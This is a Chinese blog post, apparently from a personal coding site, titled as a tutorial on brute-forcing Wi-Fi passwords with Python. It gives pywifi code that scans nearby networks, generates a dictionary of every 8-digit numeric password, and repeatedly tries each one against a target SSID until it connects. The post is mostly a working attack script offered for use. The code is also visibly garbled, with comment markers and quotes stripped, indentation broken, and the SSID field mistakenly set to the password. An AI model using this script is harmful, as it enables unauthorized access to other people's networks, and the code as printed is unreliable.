• 欢迎访问本站网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏吧

使用python暴力破解Wi-Fi密码

Python admin 3个月前 (10-18) 56次浏览 已收录 0个评论 扫描二维码
判断是否连接到wifi

#coding:utf-8
import pywifi
from pywifi import const

#判断是否连接到wifi
def gic():
创建一个无线对象
    wifi = pywifi.PyWiFi()
获取网卡
    ifaces = wifi.interfaces()[0]
查看无线网卡名称
    #print(ifaces.name())
    # 查看网卡状态  0没有连接到wifi
    #print(ifaces.status())
    if ifaces.status() == const.IFACE_DISCONNECTED:
print(“WiFi未连接)
else:
print(“WiFi已连接)
gic()

扫描附近WiFi
#扫描附近的wifi#coding:utf-8def bies():
创建一个无线对象
    wifi = pywifi.PyWiFi()
获取网卡
    ifaces = wifi.interfaces()[0]
扫描附近的wifi
    ifaces.scan()
bessis = ifaces.scan_results()
#print(bessis)
    for wifi in bessis:
#wifi的名字
        print(wifi.ssid)
bies()

生成密码字典
#coding:utf-8
#生成全部的8位数字密码
f = open(‘wifipass.txt’,‘w’)
for id in range(99999999):
password = str(id).zfill(8)+\n
    f.write(password)
f.close()

最终wifi暴力破解代码:

#coding:utf-8
”’
1,导入模块
2,抓取第一个网卡接口
3,断开wifi
4,从密码本上读取密码
5,设置睡眠时间  3秒左右
”’
”’
#生成全部的六位数字密码
f = open(‘wifipass.txt’,’w’)
for id in range(1000000):
    password = str(id).zfill(9)+’\n
    f.write(password)
f.close()
”’
import pywifi
from pywifi import const
import time

#ssid名称  WiFi密码
def wificonnect(wifiname,wifipwd):
”’wifi的测试连接”’
    创建一个无线对象
    wifi = pywifi.PyWiFi()
获取网卡
    ifaces = wifi.interfaces()[0]
断开wifi连接
    ifaces.disconnect()
time.sleep(0.5)
if ifaces.status() == const.IFACE_DISCONNECTED:
创建wifi的连接文件
        profile =pywifi.Profile()
# WiFi名称
        profile.ssid = wifipwd
密码
        profile.key = wifipwd
加密算法
        profile.akm.append(const.AKM_TYPE_WPA2)
网卡
        profile.auth = const.AUTH_ALG_OPEN
加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
删除所有的wifi文件
        ifaces.remove_all_network_profiles()
#设置新的连接文件
        temp_profile = ifaces.add_network_profile(profile)
连接wifi
        ifaces.connect(temp_profile)
根据电脑来设置连接时间  秒
        time.sleep(8)
if ifaces.status() == const.IFACE_CONNECTED:
return True
        else:
return False

def read_pwd():
”’读取密码本传密码”’
    print(开始破解………..”)
path = ‘D:\python\练习\零基础python\wifipass.txt’
    file = open(path,‘r’)

while True:
try:
wifipwd = file.readline()            # wifi名称是iphone 根据实际情况修改
bool = wificonnect(‘iPhone’,wifipwd)
if bool:
print(密码正确+wifipwd)
break   #只退出一层循环
            else:
print(密码错误+wifipwd)
except:
continue
    file.close()

read_pwd()


本站的文章和资源来自互联网或者站长的原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:使用python暴力破解Wi-Fi密码
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址